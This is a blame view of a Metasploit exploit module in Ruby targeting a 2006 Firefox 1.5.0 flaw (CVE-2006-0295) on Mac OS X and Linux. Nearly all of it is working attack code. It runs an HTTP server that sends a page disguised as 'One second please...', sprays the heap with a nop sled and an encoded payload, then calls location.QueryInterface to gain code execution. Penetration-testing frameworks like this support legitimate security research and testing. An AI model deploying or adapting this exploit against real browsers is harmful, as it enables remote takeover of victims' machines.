Files
metasploit-gs/modules/exploits/multi/browser/firefox_queryinterface.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

112 lines
2.6 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2009-12-06 05:50:37 +00:00
Rank = NormalRanking
2013-08-30 16:28:54 -05:00
#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
2013-08-30 16:28:54 -05:00
def initialize(info = {})
super(update_info(info,
2006-07-31 02:50:41 +00:00
'Name' => 'Firefox location.QueryInterface() Code Execution',
'Description' => %q{
This module exploits a code execution vulnerability in the Mozilla
Firefox browser. To reliably exploit this vulnerability, we need to fill
almost a gigabyte of memory with our nop sled and payload. This module has
been tested on OS X 10.3 with the stock Firefox 1.5.0 package.
},
'License' => MSF_LICENSE,
'Author' => ['hdm'],
'References' =>
[
['CVE', '2006-0295'],
['OSVDB', '22893'],
['BID', '16476'],
['URL', 'http://www.mozilla.org/security/announce/mfsa2006-04.html'],
],
'Payload' =>
{
'Space' => 1000 + (rand(256).to_i * 4),
'BadChars' => "\x00",
},
'Platform' => %w{ osx linux },
'Targets' =>
[
[ 'Firefox 1.5.0.0 Mac OS X',
{
'Platform' => 'osx',
'Arch' => ARCH_PPC
}
],
2013-08-30 16:28:54 -05:00
[ 'Firefox 1.5.0.0 Linux',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
}
],
],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2006-02-02'
))
end
2013-08-30 16:28:54 -05:00
def on_request_uri(cli, request)
2013-08-30 16:28:54 -05:00
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
2013-08-30 16:28:54 -05:00
2012-04-20 13:31:42 -06:00
print_status("Sending #{self.name}")
send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })
handler(cli)
end
2013-08-30 16:28:54 -05:00
2006-03-12 02:06:57 +00:00
def generate_html(payload)
2013-08-30 16:28:54 -05:00
2006-07-31 02:50:41 +00:00
enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))
2013-08-30 16:28:54 -05:00
return <<-EOF
<html>
<head>
<title>One second please...</title>
<script language="javascript">
function BodyOnLoad() {
h = FillHeap();
location.QueryInterface(eval("Components.interfaces.nsIClassInfo"));
};
function FillHeap() {
// Filler
var m = "";
var h = "";
var a = 0;
// Nop sled
for(a=0; a<(1024*256); a++)
m += unescape("#{enc_nops}");
// Payload
m += unescape("#{enc_code}");
// Repeat
for(a=0; a<1024; a++)
h += m;
// Return
return h;
}
</script>
</head>
<body onload="BodyOnLoad()">
</body>
</html>
EOF
end
end